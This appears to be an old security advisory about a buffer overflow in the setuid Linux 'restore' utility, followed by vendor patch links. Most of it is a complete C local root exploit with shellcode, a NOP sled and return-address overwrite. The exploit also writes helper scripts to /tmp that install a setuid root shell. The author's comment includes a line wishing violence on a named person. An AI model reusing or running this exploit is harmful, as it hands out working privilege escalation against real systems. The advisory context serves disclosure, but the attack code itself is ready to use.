COMMAND
restore
SYSTEMS AFFECTED
Linux
PROBLEM
Ronald Huizer [Crew] posted following. There is buffer overflow
in restore. Here is the exploit:
/*
DO NOT DISTRIBUTE - DO NOT DISTRIBUTE - DO NOT DISTRIBUTE
Restore In Peace ?
Guess not, silly mistakes keep being made in the dump package time
and time again... Someone should give it an audit once
For once, NOT a L4m3rz stylish shellscript, but a pure C program that
does the same trick.
It's so messy that I have changed my mind about not writing shellscript
exploits and will go and write a L4m3rz stylish script next time :)
Use as: rip <type> [offset]
Where type is: 1) dump 0.3-14 on regular Linux boxes
2) dump 0.3-14 on Linux boxes with 2.2.X && X<16 kernel
3) dump-0.4b13 on regular Linux boxes
4) dump-0.4b13 on Linux boxes with the buggy kernel
A Linux box with a buggy kernel will yield root. In other cases we get
a setgid root.
Type (1) might function a bit buggy with bash 2 since we cannot setgid
to 0 when we're egid 0 - set SHAT to ash or zsh instead :(
I realized that type 2 also doesn't work perfectly with bash2 - use a
real shell for this exploit.
Good Riddance!
-- Scrippie
-- ronald@grafix.nl - #phreak.nl - buffer0verfl0w security
Love goes out to: Hester, Maja, Renata
I hope the following person will ambushed by villains with chainsaws:
Gerrie Mansur
Shouts to: all my friends @ircnet and @IRL
DO NOT DISTRIBUTE - DO NOT DISTRIBUTE - DO NOT DISTRIBUTE
*/
#include <stdio.h>
#include <linux/capability.h>
#include <linux/unistd.h>
#include <sys/types.h>
#define NOP 0x90 /* Here I am again, I'm coming back for more */
#define RETA314 2052 /* Index number of the return address */
#define RETA4b13 2068
#define NUMNOPS 700 /* 700 usefull nops on the stack */
#define SHELLAT "/tmp/loki" /* Hail to thee, god of evil! */
#define SHAT "/bin/ash" /* And to thee, *nix utilities! */
#define CHOWNAT "/bin/chown"
#define CHMODAT "/bin/chmod"
#define GCCAT "/usr/bin/gcc" /* And to thee, GNU utilities! */
#define RESTAT "/sbin/restore" /* And to thee, buggy file! */
char hellcode[] =
"\x66\x31\xc0\x66\x31\xdb\xb0\x17\xcd\x80" /* Bash 2 evasion */
"\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80" /* Idem for gid */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/lk";
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void banner(void);
void makeLKregular(void);
void makeLKbuggyKernel(void);
void makeCFILE(void);
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
FILE *evilRestore, lk;
char *overflow;
unsigned long addy;
int offset=0;
int retapos;
pid_t child;
int type;
if(argc<2) {
banner();
exit(-1);
}
if(argc == 3) offset = atoi(argv[2]);
switch(atoi(argv[1])) {
case 1:
printf("Assuming Dump package version: dump-0.3-14\n");
printf("Trying to grab SGID root shell...\n");
type = 1;
offset = 2500;
retapos = RETA314;
break;
case 2:
printf("Assuming Dump package version: dump-0.3-14\n");
printf("Trying to grab SUID root shell...\n");
type = 2;
offset = 2500;
retapos = RETA314;
break;
case 3:
printf("Assuming Dump package version: dump-0.4b13\n");
printf("Trying to grab SGID root shell...\n");
type = 1;
offset = 6000;
retapos = RETA4b13;
break;
case 4:
printf("Assuming Dump package version: dump-0.4b13\n");
printf("Trying to grab SUID root shell...\n");
type = 2;
offset = 6000;
retapos = RETA4b13;
break;
default:
printf("Unknown type - exiting\n");
exit(-1);
}
if(type == 2) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
capset(&caph, &capd);
printf("Dropped the SETUID_CAP...\n");
}
addy = get_sp() - offset;
overflow = (char *) malloc(retapos+5);
memset(overflow, 0x90, retapos);
memcpy((overflow+NUMNOPS), hellcode, strlen(hellcode));
overflow[retapos] = addy & 0xff;
overflow[retapos+1] = (addy >> 8 & 0xff);
overflow[retapos+2] = (addy >> 16 & 0xff);
overflow[retapos+3] = (addy >> 24 & 0xff);
overflow[retapos+4] = 0x00;
evilRestore = fopen("/tmp/t", "w");
printf("Building C program wrapper...\n");
makeCFILE();
printf("Building ShellScript that will be called...\n");
if(type == 1) makeLKregular();
if(type == 2) makeLKbuggyKernel();
printf("Building overflow file...\n");
printf("Using address: %x\n", addy);
fprintf(evilRestore, "n\nn\nn\nn\n1\n");
fprintf(evilRestore, overflow);
fprintf(evilRestore, "\n1\nnone\n");
fflush(evilRestore);
fclose(evilRestore);
printf("Executing: %s\n", RESTAT);
sleep(3);
if((child = fork()) == 0) {
char blaat[200];
snprintf(blaat, 200, "%s -R < /tmp/t\n", RESTAT);
system(blaat);
unlink("/tmp/t");
unlink("/tmp/lk");
}
printf("\nIf everything worked out you can now run: %s\n", SHELLAT);
}
void makeLKregular(void)
{
FILE *lk;
char blaat[1000]; /* Phjear the allmighty mem-sucker! */
lk = fopen("/tmp/lk", "w");
snprintf(blaat, 1000, "#!%s\n%s .root %s\n%s 6755 %s\n",
SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);
fprintf(lk, blaat);
fflush(lk);
fclose(lk);
umask(0);
chmod("/tmp/lk", 0755);
}
void makeLKbuggyKernel(void)
{
FILE *lk;
char blaat[1000]; /* Phjear the allmighty mem-sucker! */
lk = fopen("/tmp/lk", "w");
snprintf(blaat, 1000, "#!%s\n%s root.root %s\n%s 6755 %s\n",
SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);
fprintf(lk, blaat);
fflush(lk);
fclose(lk);
umask(0);
chmod("/tmp/lk", 0755);
}
void makeCFILE(void)
{
FILE *loki;
pid_t child;
loki = fopen("/tmp/loki.c", "w");
fprintf(loki, "#include <stdio.h>\n\n");
fprintf(loki, "main()\n");
fprintf(loki, "{\n setuid(0);\n");
fprintf(loki, " setgid(0);\n");
fprintf(loki, " execl(\"");
fprintf(loki, SHAT);
fprintf(loki, "\", \"sh\", NULL);\n");
fprintf(loki, "}");
fflush(loki);
fclose(loki);
if((child = fork()) == 0) {
execl(GCCAT, "gcc", "/tmp/loki.c", "-o", SHELLAT, NULL);
}
wait();
unlink("/tmp/loki.c");
}
void banner(void)
{
printf("Restore In Peace ? - Scrippie/#phreak.nl/b0f\n");
printf("--------------------------------------------\n");
printf("Use as: rip <type> [offset]\n");
printf("Types - 1) dump-0.3-14 - Regular Linux\n");
printf(" - 2) dump-0.3-14 - Linux with buggy kernel :)\n");
printf(" - 3) dump-0.4b13 - Regular Linux\n");
printf(" - 4) dump-0.4b13 - Linux with buggy kernel :)\n");
}
SOLUTION
Remove suid bit. For Conectiva Linux:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/dump-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/rmt-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/dump-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/rmt-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/dump-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/rmt-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/dump-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/rmt-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/dump-0.4b18-1cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/rmt-0.4b18-1cl.i386.rpm
Direct link to the source packages:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/dump-0.4b18-1cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/dump-0.4b18-1cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/dump-0.4b18-1cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/dump-0.4b18-1cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/dump-0.4b18-1cl.src.rpm
For Linux-Mandrake:
6.0/RPMS/dump-0.4b18-1mdk.i586.rpm
6.0/RPMS/rmt-0.4b18-1mdk.i586.rpm
6.0/SRPMS/dump-0.4b18-1mdk.src.rpm
6.1/RPMS/dump-0.4b18-1mdk.i586.rpm
6.1/RPMS/rmt-0.4b18-1mdk.i586.rpm
6.1/SRPMS/dump-0.4b18-1mdk.src.rpm
7.0/RPMS/dump-0.4b18-1mdk.i586.rpm
7.0/RPMS/rmt-0.4b18-1mdk.i586.rpm
7.0/SRPMS/dump-0.4b18-1mdk.src.rpm
7.1/RPMS/dump-0.4b18-1mdk.i586.rpm
7.1/RPMS/rmt-0.4b18-1mdk.i586.rpm
7.1/SRPMS/dump-0.4b18-1mdk.src.rpm